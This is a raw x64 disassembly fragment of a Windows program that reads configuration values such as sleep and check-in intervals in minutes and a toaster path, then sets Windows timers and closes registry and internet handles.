call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [rsp + 0x910]
lea rcx, [rsp + 0x738]
call fcn.14001af50
nop
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0x688]
lea rcx, [rsp + 0x910]
call fcn.14000c844
lea rcx, [rsp + 0x910]
cmp qword [rsp + 0x928], r14
cmovae rcx, qword [rsp + 0x910]
call r12
nop
xor r8d, r8d
lea ebx, [r8 + 1]
mov dl, bl
lea rcx, [rsp + 0x910]
call fcn.14000cb94
nop
xor r8d, r8d
mov dl, bl
lea rcx, [rsp + 0x688]
call fcn.14000cb94
nop
xor r8d, r8d
mov dl, bl
lea rcx, [rsp + 0x6a8]
call fcn.14000cb94
nop
lea rcx, [rsp + 0x738]
call fcn.14001adb0
mov r15, qword [rsp + 0xb50]
xor ebx, ebx
test r15, r15
je 0x14000714f
mov dword [rsp + 0xb50], 0x65656c53
mov dword [rsp + 0xb54], 0x4d6e4970
mov dword [rsp + 0xb58], 0x74756e69
mov word [rsp + 0xb5c], 0x7365
mov byte [rsp + 0xb5e], bl
xor eax, eax
mov qword [rsp + 0x6f0], rax
mov qword [rsp + 0x6f8], rax
mov qword [rsp + 0x700], rax
mov rdx, r13
lea rcx, [rsp + 0x300]
call fcn.14001ac20
nop
lea r9, [rsp + 0x300]
lea r8, [rsp + 0xb50]
lea rdx, [rsp + 0x6f0]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x300]
call fcn.14001adb0
cmp byte [rsp + 0x6f8], 4
jne 0x14000705b
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x6f0]
call fcn.14001af50
lea ecx, [rbx + 2]
lea edx, [rbx + 1]
or ecx, edx
mov dword [rsp + 0x30], ecx
cmp qword [rax + 0x10], rbx
je 0x140007063
mov bl, dl
jmp 0x140007063
mov ecx, 2
lea edx, [rcx - 1]
test dl, cl
je 0x140007077
xor r8d, r8d
lea rcx, [rsp + 0x5d0]
call fcn.14000cb94
test bl, bl
je 0x140007112
lea rdx, [rsp + 0x5b0]
lea rcx, [rsp + 0x6f0]
call fcn.14001af50
cmp qword [rax + 0x18], r14
jb 0x14000709d
mov rax, qword [rax]
mov rcx, rax
call fcn.140022bac
mov ebx, eax
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x5b0]
call fcn.14000cb94
mov rdx, qword [rsi + 0x4a8]
mov rcx, qword [rsi + 8]
call qword [sym.imp.USER32.dll_KillTimer]
cmp ebx, 0xffffffff
je 0x140007101
xor r9d, r9d
mov edx, 0x3aa0
mov rcx, qword [rsi + 8]
test ebx, ebx
je 0x1400070ea
imul r8d, ebx, 0xea60
jmp 0x140007135
mov r8d, 0x2bf20
call qword [sym.imp.USER32.dll_SetTimer]
mov qword [rsi + 0x4a8], rax
xor ecx, ecx
jmp 0x14000710d
xor ebx, ebx
mov qword [rsi + 0x4a8], rbx
or ecx, 0xffffffff
call r15
jmp 0x140007142
mov rdx, qword [rsi + 0x4a8]
mov rcx, qword [rsi + 8]
call qword [sym.imp.USER32.dll_KillTimer]
xor r9d, r9d
mov edx, 0x3aa0
mov r8d, 0x36ee80
mov rcx, qword [rsi + 8]
call qword [sym.imp.USER32.dll_SetTimer]
mov qword [rsi + 0x4a8], rax
lea rcx, [rsp + 0x6f0]
call fcn.14001adb0
movdqa xmm0, xmmword [0x140048be0]
movdqu xmmword [rsp + 0xf20], xmm0
mov dword [rsp + 0xf30], 0x736574
xor eax, eax
mov qword [rsp + 0x870], rax
mov qword [rsp + 0x878], rax
mov qword [rsp + 0x880], rax
lea rdx, str.1440
lea rcx, [rsp + 0x140]
call fcn.14001ac20
nop
lea r9, [rsp + 0x140]
lea r8, [rsp + 0xf20]
lea rdx, [rsp + 0x870]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x140]
call fcn.14001adb0
cmp byte [rsp + 0x878], 4
jne 0x14000721c
lea rdx, [rsp + 0x430]
lea rcx, [rsp + 0x870]
call fcn.14001af50
cmp qword [rax + 0x18], r14
jb 0x1400071f5
mov rax, qword [rax]
mov rcx, rax
call fcn.140022bac
mov dword [rsi + 0x4f0], eax
xor r8d, r8d
lea r15d, [r8 + 1]
mov dl, r15b
lea rcx, [rsp + 0x430]
call fcn.14000cb94
jmp 0x140007222
mov r15d, 1
movdqa xmm0, xmmword [0x140048b10]
movdqu xmmword [rsp + 0xdd0], xmm0
mov dword [rsp + 0xde0], 0x6e496b63
mov dword [rsp + 0xde4], 0x756e694d
mov dword [rsp + 0xde8], 0x736574
xor eax, eax
mov qword [rsp + 0x8b8], rax
mov qword [rsp + 0x8c0], rax
mov qword [rsp + 0x8c8], rax
lea rdx, [0x1400462c8]
lea rcx, [rsp + 0x158]
call fcn.14001ac20
nop
lea r9, [rsp + 0x158]
lea r8, [rsp + 0xdd0]
lea rdx, [rsp + 0x8b8]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x158]
call fcn.14001adb0
cmp byte [rsp + 0x8c0], 4
jne 0x1400072ff
lea rdx, [rsp + 0x550]
lea rcx, [rsp + 0x8b8]
call fcn.14001af50
cmp qword [rax + 0x18], r14
jb 0x1400072de
mov rax, qword [rax]
mov rcx, rax
call fcn.140022bac
mov dword [rsi + 0x4f4], eax
xor r8d, r8d
mov dl, r15b
lea rcx, [rsp + 0x550]
call fcn.14000cb94
movdqa xmm0, xmmword [str.mainPathToaster]
movdqu xmmword [rsp + 0x1078], xmm0
xor eax, eax
mov qword [rsp + 0x888], rax
mov qword [rsp + 0x890], rax
mov qword [rsp + 0x898], rax
mov rdx, r13
lea rcx, [rsp + 0x128]
call fcn.14001ac20
nop
lea r9, [rsp + 0x128]
lea r8, [rsp + 0x1078]
lea rdx, [rsp + 0x888]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x128]
call fcn.14001adb0
cmp byte [rsp + 0x890], 4
jne 0x1400073af
lea rdx, [rsp + 0x490]
lea rcx, [rsp + 0x888]
call fcn.14001af50
lea rcx, [rsi + 0x4f8]
mov rdx, rax
call fcn.140009374
xor r8d, r8d
mov dl, r15b
lea rcx, [rsp + 0x490]
call fcn.14000cb94
xor r9d, r9d
mov edx, 0x3a99
mov r8d, 0x5265c00
mov rcx, qword [rsi + 8]
call qword [sym.imp.USER32.dll_SetTimer]
mov qword [rsi + 0x448], rax
lea rcx, [rsp + 0x888]
call fcn.14001adb0
nop
lea rcx, [rsp + 0x8b8]
call fcn.14001adb0
nop
lea rcx, [rsp + 0x870]
call fcn.14001adb0
or r15, 0xffffffffffffffff
mov r13, qword [rsp + 0x50]
test r13, r13
je 0x14000740e
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000741f
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rsp + 0xa50]
call fcn.140008758
nop
lea rcx, [rsp + 0x620]
call fcn.14001adb0
nop
lea rdx, [rdi - 0x18]
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
add eax, r15d
test eax, eax
jg 0x140007458
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x9f0]
call fcn.14000b33c
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x9f0], rax
lea rcx, [rsp + 0x9f0]
call fcn.140021380
nop
xor r8d, r8d
lea ebx, [r8 + 1]
mov dl, bl
lea rcx, [rsp + 0x8d0]
call fcn.14000cb94
nop
xor r8d, r8d
mov dl, bl
lea rcx, [rsp + 0x638]
call fcn.14000cb94
nop
mov rcx, qword [rsp + 0x16e90]
xor rcx, rsp
call fcn.140021770
lea r11, [rsp + 0x16ea0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret